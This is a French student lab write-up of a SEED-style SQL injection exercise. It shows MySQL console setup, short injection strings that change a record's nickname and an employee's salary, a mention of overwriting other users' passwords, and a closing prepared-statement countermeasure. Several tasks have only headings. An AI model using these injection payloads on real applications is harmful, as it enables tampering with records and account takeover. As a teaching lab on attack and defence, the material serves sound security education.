Tâche 1: Console MySQL

➤ Veuillez vous connecter à la console MySQL dans le terminal virtuel du serveur à l'aide de la commande suivante :

```
[student@web-server ~]$ mysql -u root -pseedubuntu
Warning: Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 2

mysql> █
```

➤ Comme nous avons déjà créé pour vous la base de données Users, il vous suffit de charger cette base existante à l'aide de la commande suivante :

```
mysql> use Users;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
```

➤ Utiliser la commande suivante pour afficher toutes les tables de la base de données sélectionnée.

```
mysql> show tables;
+-----+
| Tables_in_Users |
+-----+
| credential      |
+-----+
1 row in set (0.00 sec)

mysql> █
```

Tâche 2 : Attaque par injection SQL sur l'instruction SELECT

Tâche 2.1 : attaque par injection SQL à partir d'une page Web.

Task 2.2: attaque par injection SQL à partir de la ligne de commandes.

Grâce à la commande, on peut voir toute la page en clair et le profil de Alice.

update credential set nickname='Ibrahim' where ssn='10211002' ; #

Tâche 3 : Attaque par injection SQL sur l'instruction SELECT

Tâche 3.1 : attaque par injection SQL sur l'instruction UPDATE — modifier le salaire.

Employee ID: 99999 salary: 9999999

Commande : ',salary='999999'

Tâche 3.2 : attaque par injection SQL sur l'instruction UPDATE : modifiez le mot de passe d'autres personnes.

Création du hash.

Le hash correspond avec celui que j'ai créé.

Tâche 4 : Contre-mesure — instruction préparée

Il faut mettre ce code pour empêcher les SQL Injection et si on retente les manipulations, il y aura une page blanche.

```
/* start make change for prepared statement */
$stmt = $conn->prepare("SELECT name, local, gender FROM USER_TABLE
where ID = ? and password = ? ");
// Bind parameters to the query
$stmt->bind_param("is", $id, $pwd);
$stmt->execute();
$stmt->bind_result($bind_name, $bind_local, $bind_gender);
$stmt->fetch();
```
